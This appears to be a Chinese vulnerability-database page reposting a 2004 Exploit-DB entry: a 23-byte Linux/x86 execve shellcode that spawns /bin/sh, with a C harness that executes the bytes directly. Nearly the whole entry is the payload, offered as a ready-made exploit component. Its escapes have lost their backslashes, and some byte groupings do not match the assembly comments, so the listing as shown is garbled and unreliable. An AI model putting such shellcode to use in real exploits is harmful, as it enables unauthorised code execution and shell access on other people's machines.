Linux/x86 – execve() Shellcode (23 bytes)

Linux/x86 – execve() Shellcode (23 bytes)

漏洞ID 1054752 漏洞类型
发布时间 2004-11-15 更新时间 2004-11-15
图片[1]-Linux/x86 – execve() Shellcode (23 bytes)-安全小百科CVE编号 N/A
图片[2]-Linux/x86 – execve() Shellcode (23 bytes)-安全小百科CNNVD-ID N/A
漏洞平台 Linux_x86 CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/13422
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/************************************************************
* Linux 23 byte execve code. Greetz to preedator            *
*                                          marcetam         *
*                                      admin at marcetam.net   *
*************************************************************/
char linux[]=
  "x99"			/* cdq              */
  "x52"			/* push %edx        */
  "x68x2fx2fx73x68"	/* push $0x68732f2f */
  "x68x2fx62x69x6e"	/* push $0x6e69622f */
  "x89xe3"			/* mov %esp,%ebx    */
  "x52"			/* push %edx        */
  "x54"			/* push %esp        */
  "x54"			/* push %esp        */
  "x59x6a"			/* pop %ecx         */
  "x0bx58"			/* push $0x0b       */
  "xcdx80";			/* int $0x80        */
int main(){
  void (*run)()=(void *)linux;
  printf("%d bytes n",strlen(linux));
  run();
}

// milw0rm.com [2004-11-15]

相关推荐: Tinyproxy Heap Overflow Vulnerability

Tinyproxy Heap Overflow Vulnerability 漏洞ID 1103497 漏洞类型 Input Validation Error 发布时间 2001-01-17 更新时间 2001-01-17 CVE编号 N/A CNNVD-ID …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享